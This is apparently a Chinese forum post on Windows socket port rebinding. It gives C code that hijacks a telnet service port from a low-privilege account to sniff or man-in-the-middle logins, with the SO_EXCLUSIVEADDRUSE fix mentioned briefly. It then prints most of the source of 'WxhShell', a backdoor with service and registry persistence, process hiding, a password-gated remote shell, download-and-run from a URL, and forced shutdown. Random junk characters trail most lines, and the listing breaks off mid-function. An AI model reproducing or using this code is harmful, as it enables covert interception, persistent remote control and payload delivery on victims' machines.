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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %4Y/-xF}9,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x\]%TTps  
w`bojM@e1  
  saddr.sin_family = AF_INET; nAZuA]p}S]  
21O!CvX   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ? DWF7{1  
;[R{oW Nw  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); k#_B^J&d  
f\nF2rlu  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |bk.gh  
9KN75<n  
  这意味着什么?意味着可以进行如下的攻击: v/ dSz/<]  
< S:SIaf0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ' JsP9>)  
:EJ+#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) P sij*%I4  
h\Ck""&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?lKFcm  
U;<07 aMj  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3WZ]9v{k  
EJ;:O1,6H  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5`53lK.C  
X-|Lg.s  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /XEUJC4  
h$)+$^YI  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 K9\`Wu_qL  
3R1v0  
  #include Cu3^de@h  
  #include EtjN :p|$  
  #include 3K c  
  #include    d/vF^v*o0X  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *.#d'~+  
  int main() rK;F]ei  
  { +@ga  
  WORD wVersionRequested; eGwrSF#a)  
  DWORD ret; 9^h0D}#@  
  WSADATA wsaData; 9YS&RBJu  
  BOOL val; <t>"b|fW  
  SOCKADDR_IN saddr; MDGD*Qn~  
  SOCKADDR_IN scaddr; Z& e_yl  
  int err; sPuNwVX>}I  
  SOCKET s; 8<#X]I_eP+  
  SOCKET sc; W-ErzX  
  int caddsize; 5(R ./  
  HANDLE mt; u=I\0H  
  DWORD tid;   N2[EdOJT_  
  wVersionRequested = MAKEWORD( 2, 2 ); w#_/CU L  
  err = WSAStartup( wVersionRequested, &wsaData ); u )cc  
  if ( err != 0 ) { T$RVz   
  printf("error!WSAStartup failed!\n"); PzbLbH8A  
  return -1; *^e06xc:  
  } ^"WrE(3  
  saddr.sin_family = AF_INET; d%FD =wm  
   Pb 4%" 9`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 dY'/\dJ  
,_?P[~1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {gT2G*Ed^Z  
  saddr.sin_port = htons(23); ^iAOz-H  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pT\>kqmj  
  { \yP\@cpY{  
  printf("error!socket failed!\n"); ,) ^4H>~V  
  return -1; OBp<A+a  
  } BO)K=gl;8  
  val = TRUE; :Lu=t3#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $a|C/s+}7>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) LxaR1E(Cc'  
  { qOAK`{b  
  printf("error!setsockopt failed!\n"); Qxr&zT7f  
  return -1; #\U;,r  
  } w7aC=B/{?i  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <2@V$$Qg.~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 < 3i2(k  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;/T=ctIs  
k`ulDQu  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) u hW @ Y+  
  { r!A1Sfo4P  
  ret=GetLastError(); P/uk]5H^  
  printf("error!bind failed!\n"); OIP JN8V  
  return -1; ]w ^9qS  
  } 8D7 = ]  
  listen(s,2); ',`GdfAsH  
  while(1) Y~@@{zP  
  { d;1%Ei3K  
  caddsize = sizeof(scaddr); -wJ/j~ +m+  
  //接受连接请求 yzJ VU0s  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \1x<bx/1  
  if(sc!=INVALID_SOCKET) M_asf7|v  
  { kH:! 7L_=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); F} d>pK9fn  
  if(mt==NULL) VA{2a7]  
  { cYHHCaCS  
  printf("Thread Creat Failed!\n"); ], Xva`"  
  break; 7J?`gl&C  
  } $KDH"J  
  } e lj]e  
  CloseHandle(mt); hn]><kaA  
  } DMO8~5  
  closesocket(s); NbG`v@yH  
  WSACleanup(); \0. c_  
  return 0; }&|S8:   
  }   !##OQ  
  DWORD WINAPI ClientThread(LPVOID lpParam) 7S+_eL^  
  { \H <k  
  SOCKET ss = (SOCKET)lpParam; U 8Rko)  
  SOCKET sc; HAa$ pGb  
  unsigned char buf[4096]; ["]r=l  
  SOCKADDR_IN saddr; 5k/Y7+*?E  
  long num; Qry?h*p+`  
  DWORD val; gG5@ KD6k  
  DWORD ret; 'Bul_D4B  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )y8 u+5^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Y*oT (  
  saddr.sin_family = AF_INET; o \ss  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9cV;W\ Tw  
  saddr.sin_port = htons(23); k4WUfL d  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gzdR|IBa  
  { L#)F00/`  
  printf("error!socket failed!\n"); !I3_KuJ5  
  return -1; ;Ohabbj*  
  } '#JC 6#X   
  val = 100; Qe8F(k~k  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "zpc)'$ L=  
  { jN. '%5Q?H  
  ret = GetLastError(); wLX:~]<xl  
  return -1; >;|~ z\8  
  } k;aV4 0N9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~cHpA;x9<^  
  { T_T@0`7  
  ret = GetLastError(); BT[jD}?  
  return -1; kY e3A &J  
  } T4H/D^X|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >\J({/ #O  
  { O+ ].'  
  printf("error!socket connect failed!\n"); Pr|:nJs  
  closesocket(sc); oaxCcB=\  
  closesocket(ss); k{M4.a[(  
  return -1; G.#`DaP  
  } x+1Cs$E;  
  while(1) 7r,s+u.  
  { }r%Si  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 vR;?~^{*s  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 xV]eEOiLM  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 55aJ =T  
  num = recv(ss,buf,4096,0); ZjCT * qx  
  if(num>0) iA=QK u!  
  send(sc,buf,num,0); }a=<Gl|I;w  
  else if(num==0) @(k}q3b<  
  break; 2@&|/O6_\h  
  num = recv(sc,buf,4096,0); RXo!K iQO  
  if(num>0) a?635*9K  
  send(ss,buf,num,0); tXlo27J  
  else if(num==0) 1Z. D3@  
  break; 4$HU=]b6Tf  
  } ~3 ,>TV  
  closesocket(ss); ;;A8*\*$  
  closesocket(sc); ):LgZ4h  
  return 0 ; P~"e=NL5  
  } &nJH23h ^  
B;k3YOg  
<o JM||ZA  
========================================================== R8Kj3wp  
l+%2kR  
下边附上一个代码,,WXhSHELL G6l:El&  
e7T}*Up  
========================================================== +`y{r^xD  
ihv=y\Jt  
#include "stdafx.h" ly!vbpE_  
]VuB2L[D  
#include <stdio.h> O/Q7{5n  
#include <string.h> wNNInS6  
#include <windows.h> 0[/GEY@  
#include <winsock2.h> 25:[VH$:4  
#include <winsvc.h> T4 :UJj}  
#include <urlmon.h> )9oF?l^q  
]6:|-x:m  
#pragma comment (lib, "Ws2_32.lib") lfle7;  
#pragma comment (lib, "urlmon.lib") +JDQ`Qk  
X`,=tM  
#define MAX_USER   100 // 最大客户端连接数 A }(V2  
#define BUF_SOCK   200 // sock buffer blUnAu o~  
#define KEY_BUFF   255 // 输入 buffer o8PK,!Pl  
T/m4jf2  
#define REBOOT     0   // 重启 Z4&,KrV  
#define SHUTDOWN   1   // 关机 u ZzO$e  
FR bmeq3c  
#define DEF_PORT   5000 // 监听端口 pJnT \~o  
NU]+ {7  
#define REG_LEN     16   // 注册表键长度 ?%QWpKO7X  
#define SVC_LEN     80   // NT服务名长度 ]npsclvJ  
.dbZ;`s  
// 从dll定义API %S'gDCwq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0.MD_s0)>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); IjshxNk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /b|V=j}W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nM=5L:d  
s *8)|N  
// wxhshell配置信息 n8FmIoZ&`  
struct WSCFG { L6>;"]:f`  
  int ws_port;         // 监听端口 "7G>  
  char ws_passstr[REG_LEN]; // 口令 Q sXy(w#F  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4@qHS0$  
  char ws_regname[REG_LEN]; // 注册表键名 *VP-fyJp  
  char ws_svcname[REG_LEN]; // 服务名 [Dzd39aKr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t\\oG H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [WfigqY`b*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K@RE-K6{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %oee x1`=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yF [|dB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @k|V4  
Lm!/ iseGv  
}; -za+Wa`vH  
WLO4P  
// default Wxhshell configuration ryC7O'j_P  
struct WSCFG wscfg={DEF_PORT, iJ-z&=dOe  
    "xuhuanlingzhe", lR<1x  
    1, [|5gw3 y  
    "Wxhshell", >'/KOK"  
    "Wxhshell", o(gEyK  
            "WxhShell Service", \ #yKCA';  
    "Wrsky Windows CmdShell Service", =x &"aF1  
    "Please Input Your Password: ", {E 'go]  
  1, hOOkf mOM  
  "http://www.wrsky.com/wxhshell.exe", \me'B {aa  
  "Wxhshell.exe" y;GwMi $KI  
    }; g,k} nkIT  
rDD,eNjG  
// 消息定义模块 }ldOxJSB?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;2&ym)`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N=vb*3ECg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _nn\O3TB  
char *msg_ws_ext="\n\rExit."; 0 %W0vTvL  
char *msg_ws_end="\n\rQuit."; Q>%{Dn\?  
char *msg_ws_boot="\n\rReboot..."; r;7&U<j~Z  
char *msg_ws_poff="\n\rShutdown..."; ]ChGi[B~9  
char *msg_ws_down="\n\rSave to "; ]%Db%A  
~zd+M/8  
char *msg_ws_err="\n\rErr!"; 4#MPD  
char *msg_ws_ok="\n\rOK!"; ='[J.  
\nzaF4+$  
char ExeFile[MAX_PATH]; C"gH>G  
int nUser = 0; gP 13n!7  
HANDLE handles[MAX_USER]; 3g{T+c*  
int OsIsNt; ;^"#3_7T]  
SjmWlf,  
SERVICE_STATUS       serviceStatus; 2[V9`r8*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qQ{i2D%)?f  
+YX *.dW  
// 函数声明 xY=%+o.?*  
int Install(void); *"HA=-Z;  
int Uninstall(void); > &VY  
int DownloadFile(char *sURL, SOCKET wsh); I'%\ E,  
int Boot(int flag); x%`.L6rj  
void HideProc(void); \F;  S  
int GetOsVer(void); 5bZjW~d  
int Wxhshell(SOCKET wsl); &tjv.t  
void TalkWithClient(void *cs); 4b@ Awtk  
int CmdShell(SOCKET sock); O:J;zv\  
int StartFromService(void); Cqra\  
int StartWxhshell(LPSTR lpCmdLine); @p\te7(P%  
-#y^$$i0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {L#+v~d^'n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4iPxtVT  
X }""= S<  
// 数据结构和表定义 wvnuE<o8  
SERVICE_TABLE_ENTRY DispatchTable[] = NDo>"in  
{ FSNzBN  
{wscfg.ws_svcname, NTServiceMain}, D=!T,p=  
{NULL, NULL} D8O&`!mf  
}; |bM?Q$>~  
Cvgk67C=$  
// 自我安装 y88lkV4a  
int Install(void) 9x]yu6  
{ a*N<gId  
  char svExeFile[MAX_PATH]; {0IC2jE  
  HKEY key; xE"QX N  
  strcpy(svExeFile,ExeFile); FWb`F&  
P. >5`^  
// 如果是win9x系统,修改注册表设为自启动 M>xjs?{%k  
if(!OsIsNt) { < cUaIb;(4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G?e\w+}Pj@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qy^sdqHl@  
  RegCloseKey(key); 92";?Xk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fnJ!~b*qo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YsBOh{Ml  
  RegCloseKey(key); "3H?_!A9  
  return 0; wc~k4B9"  
    } ][[\!og  
  } 9bb 5?b/  
} L>X39R~  
else { VUbg{Rb)  
k0>]7t$L  
// 如果是NT以上系统,安装为系统服务 0XLoGQ=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rl0|)j  
if (schSCManager!=0) N NTUl$  
{ 5n#@,V.O/  
  SC_HANDLE schService = CreateService a'prlXr\4  
  ( (q+EP(Q  
  schSCManager, -+H?0XN  
  wscfg.ws_svcname, g-O}e4  
  wscfg.ws_svcdisp, |\# 6?y[o  
  SERVICE_ALL_ACCESS, -6yFE- X/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D/<;9hw  
  SERVICE_AUTO_START, 47 |&(,{  
  SERVICE_ERROR_NORMAL, eN Y?  
  svExeFile, cpJ(77e  
  NULL, AfqthI$*m  
  NULL, H]a@"gO  
  NULL, rD*CLq K  
  NULL, ,f3Ck*M  
  NULL =(\xe| Q  
  ); ](tv`1A,Wd  
  if (schService!=0) ecqL;_{o  
  { 1^R:[L4R`  
  CloseServiceHandle(schService); OLh QS_D  
  CloseServiceHandle(schSCManager); lE 09Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fo5+3iu^  
  strcat(svExeFile,wscfg.ws_svcname); 7TaHE   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Hp1n*0%dZ&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I7@g,~s  
  RegCloseKey(key); kM o7mkV  
  return 0; meM61ue_2  
    } laX67Vjv  
  } mvV5X al  
  CloseServiceHandle(schSCManager); |.;LI= CT  
} IHaNg K2  
} S1Ql%Yk-(  
Wti?J.Csc  
return 1; SGA!%=Lp  
} ^Ss4<  
ry[NR$L/m  
// 自我卸载 P+s-{vv{0  
int Uninstall(void) r_?il]l  
{ f83Tl~  
  HKEY key; 0X: :<N@  
ztG!NZL  
if(!OsIsNt) { $=rLs)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HLp9_Y{X.  
  RegDeleteValue(key,wscfg.ws_regname); /4_^'RB  
  RegCloseKey(key); +:D90p$e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q7-.-k<dQ  
  RegDeleteValue(key,wscfg.ws_regname); _6/q.  
  RegCloseKey(key); lWe1Q#  
  return 0; .C7;T'>!  
  } 25-5X3(>j=  
} GJB= 5nE  
} e/nc[  
else { :f|X$> b  
_5l3e7YN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,f2tG+P  
if (schSCManager!=0) [7|j:!  
{ { kF"<W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); szG0?e  
  if (schService!=0) *LZ^0c:r  
  { vi-mn)L6#  
  if(DeleteService(schService)!=0) { %I>-_el  
  CloseServiceHandle(schService); Or9`E(  
  CloseServiceHandle(schSCManager); q(YFt*(;w  
  return 0; oyt#CHX  
  } tMQz'3,X  
  CloseServiceHandle(schService); yccF#zU  
  } \Tii S  
  CloseServiceHandle(schSCManager); 4Bc<  
} Xj+oV  
} WUesTA>  
RLtIn!2OU  
return 1; @cT= t0*  
} zbM*/:Y  
BMlu>,  
// 从指定url下载文件 !/|^ )d^U  
int DownloadFile(char *sURL, SOCKET wsh) hD I}V 1)  
{ KWzJ  
  HRESULT hr; fj,]dQ T  
char seps[]= "/"; QTKN6P  
char *token; \'AS@L"Wj^  
char *file; Z/hk)GI  
char myURL[MAX_PATH]; R]8^ @i1  
char myFILE[MAX_PATH]; xM6v0Ua  
#{]Yw}m  
strcpy(myURL,sURL); UvPD/qu$8D  
  token=strtok(myURL,seps); 3Q-[)Z )  
  while(token!=NULL) gJv;{;%  
  { y5AJ1A6?E  
    file=token; 8fI&-uP{g  
  token=strtok(NULL,seps); LNR~F_64Q  
  } { 95u^S=  
<F7g;s'q9  
GetCurrentDirectory(MAX_PATH,myFILE); +&:?*(?Q  
strcat(myFILE, "\\"); v!b 8_0~u6  
strcat(myFILE, file); :(o6^%x  
  send(wsh,myFILE,strlen(myFILE),0); oy?>e1Sy*  
send(wsh,"...",3,0); )rP)-op|A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FJj #  
  if(hr==S_OK) $F,&7{^  
return 0; mhXSbo9w-  
else ygz6 ~(  
return 1; *wOuw@09  
:>t^B+  
} 1FO T  
<y30t[.E6  
// 系统电源模块 {ylhh%t4hi  
int Boot(int flag) Zagj1 OV|  
{ _a e&@s1  
  HANDLE hToken; =cN! h"C[  
  TOKEN_PRIVILEGES tkp; nR()ei^X  
[=xJh?*P  
  if(OsIsNt) { on=I*?+R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 01P ~K|s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :?}U Z#  
    tkp.PrivilegeCount = 1; l*+5WrOS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W18I"lHeh  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,& ^vc_}  
if(flag==REBOOT) { xO<$xx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (3;dtp>Xx  
  return 0; 8!c#XMHV  
} W6>SYa  
else { .;'3Roi  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  t=;84lA  
  return 0; X%>Sio  
} ~il{6Z+#n  
  } Wveba)"$  
  else { ydyGPZ t  
if(flag==REBOOT) { L`!M3c@u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i47xF7y\  
  return 0;   ps*dO  
} Lk-%I?  
else { clwJ+kku@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w|uO)/v  
  return 0; rq.S0bzH  
} W"@FRWcd  
} P(Fd|).j$  
RRBokj)]  
return 1; +&p}iZp  
} TBzOz:k  
}uTe(Rf  
// win9x进程隐藏模块 $YM6}D@  
void HideProc(void) +C(v4@=nd  
{ v GT#BS%  
Du3nK" -g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :gNTQZR  
  if ( hKernel != NULL ) {Va "o~io  
  { $YyN-C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F9|\(St &  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +[DL]e]@U  
    FreeLibrary(hKernel); bS9<LQ*  
  } 0K&\5xXM  
7fOk]Yl[  
return; c<8RRYs  
} JBsHr%!i  
"1U:qr2-H  
// 获取操作系统版本 ':v@Pr|  
int GetOsVer(void) G\?q{  
{ ZN:~etd  
  OSVERSIONINFO winfo; ET&Q}UOE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Pkm3&sW  
  GetVersionEx(&winfo); H9^DlIv('  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2A+I8/zRG  
  return 1; *1Lkde@|{  
  else f8DF>]WW  
  return 0; RtR5ij1  
} dtdz!'q)Y  
|^ao,3h#  
// 客户端句柄模块 .i7bI2^  
int Wxhshell(SOCKET wsl) ^r7-|  
{ J:YFy-[w(  
  SOCKET wsh; \y-Lt!}  
  struct sockaddr_in client; T|h/n\fx)a  
  DWORD myID; ?}N@bsl08w  
r] +V:l3  
  while(nUser<MAX_USER) <V3N!H_d  
{ Z]I[?$y  
  int nSize=sizeof(client); jZm57{C#*?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); % mhnd):  
  if(wsh==INVALID_SOCKET) return 1; 95,{40;X7  
*Q<%(JJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |$r|DX1[  
if(handles[nUser]==0) ;btH[a iV  
  closesocket(wsh); z k[%YG&  
else v;9VX   
  nUser++; V8z91  
  } ]Y3|*t(\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n%Vt r  
3zO'=gwJ  
  return 0; S >PTD@  
} axl!zu*  
BVx: JiA  
// 关闭 socket ccWz,[  
void CloseIt(SOCKET wsh) 0YsC@r47wL  
{ X^PR];V:$  
closesocket(wsh); {=AK  |  
nUser--; ^oFg5  
ExitThread(0); EV:y}  
} 2VOdI  
,3k"J4|d  
// 客户端请求句柄  *q8L$D  
void TalkWithClient(void *cs) .TN9N  
{ hi>sDU< x  
ndkV(#wQS  
  SOCKET wsh=(SOCKET)cs; PNSZ j#  
  char pwd[SVC_LEN]; -ISI!EU$  
  char cmd[KEY_BUFF]; bF88F_  
char chr[1]; mCtuR*z_  
int i,j; 3N?WpA768/  
FTtGiGd|Zy  
  while (nUser < MAX_USER) { *g^U=t  
p;!'5 f  
if(wscfg.ws_passstr) { cS98%@DR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Azrc+k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P`'Nv  
  //ZeroMemory(pwd,KEY_BUFF); Nb[z+V{=  
      i=0; 4c2*)x$@  
  while(i<SVC_LEN) { =kq!e  
qA<PF+f  
  // 设置超时 ;r[@;2p*(  
  fd_set FdRead; dkuB{C,  
  struct timeval TimeOut; &~+lXNXF  
  FD_ZERO(&FdRead); 1.]Py"@:  
  FD_SET(wsh,&FdRead); $/%|0tQ  
  TimeOut.tv_sec=8; jUq^$+N  
  TimeOut.tv_usec=0; /@5X0m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #c5 NFU}9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C3af>L@}  
E3#}:6m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y`QJcC(3  
  pwd=chr[0]; A L#"j62  
  if(chr[0]==0xd || chr[0]==0xa) { <_@ S@t)  
  pwd=0; FAVw80?5k  
  break; uj$b/I>.'  
  } !2WRxM  
  i++; YCwfrz  
    } '&5A*X]d  
-r_/b  
  // 如果是非法用户,关闭 socket U:eahK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uh UC m  
} M0<gea\ =  
F/[vg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o$>A;<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (!Q^.C_m  
:qi"I;=6  
while(1) { $-m`LF@  
rrei6$H&  
  ZeroMemory(cmd,KEY_BUFF); ir<HC 'D[  
RYD V60*O6  
      // 自动支持客户端 telnet标准   Vkdchc  
  j=0; Kw}-<y  
  while(j<KEY_BUFF) { h Ns<Ae  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N^A&DrMF  
  cmd[j]=chr[0]; w{3 B  
  if(chr[0]==0xa || chr[0]==0xd) { \D] N*  
  cmd[j]=0; +Sk;  
  break; WRQJ6B  
  } dOArXp`s  
  j++; Wa%Zt*7  
    } wn[q?|1  
_8b)Xx@5  
  // 下载文件 I ;N)jj`b  
  if(strstr(cmd,"http://")) { 'u$e2^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \w{x- }  
  if(DownloadFile(cmd,wsh)) .,[zI@9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !']=7It{  
  else EoqUFa,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =h^cfyj  
  } JK.lL]<p i  
  else { ,{A-<=6t  
bS _!KU  
    switch(cmd[0]) { d ! A)H<Zt  
  ` /JJ\`Pu  
  // 帮助 mmm025.   
  case '?': { ,p/iN9+Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Esw#D90q  
    break; /j!?qID  
  } ,2vPmff  
  // 安装 stz1e dP  
  case 'i': { ymSGB`CP  
    if(Install()) A.m#wY8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .4A4\-Cqe  
    else Ub%+8 M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C)/uX5  
    break; K:fK! /  
    } RG|]Kt8  
  // 卸载 ?V%x94B  
  case 'r': { EO$_]0yI;_  
    if(Uninstall()) $;Lb|~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lz2 AWqR  
    else &yv%"BPV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -XIjol(  
    break; @yPa9Ug(V  
    } K~OfC  
  // 显示 wxhshell 所在路径 v:(_-8:F  
  case 'p': {  @*'|8%  
    char svExeFile[MAX_PATH]; D+d\<":  
    strcpy(svExeFile,"\n\r"); +Ck F#H ~  
      strcat(svExeFile,ExeFile); Qfr%BQV  
        send(wsh,svExeFile,strlen(svExeFile),0); rxjMCMF  
    break; ^Afq)26D  
    } |&WeXVH E  
  // 重启 7. 9n  
  case 'b': { !EuU @ +  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {4Cn/}7Ly^  
    if(Boot(REBOOT)) 6W."h PP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *; . l/  
    else { QN:gSS{30  
    closesocket(wsh); Ks:~Z9r}  
    ExitThread(0); >up'`K,  
    } pXPwn(  
    break; J6/Mm7R  
    } RRig  
  // 关机 @$z/=gsy  
  case 'd': { v;AMx-_WH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X*VHi  
    if(Boot(SHUTDOWN)) R:kNAtK  
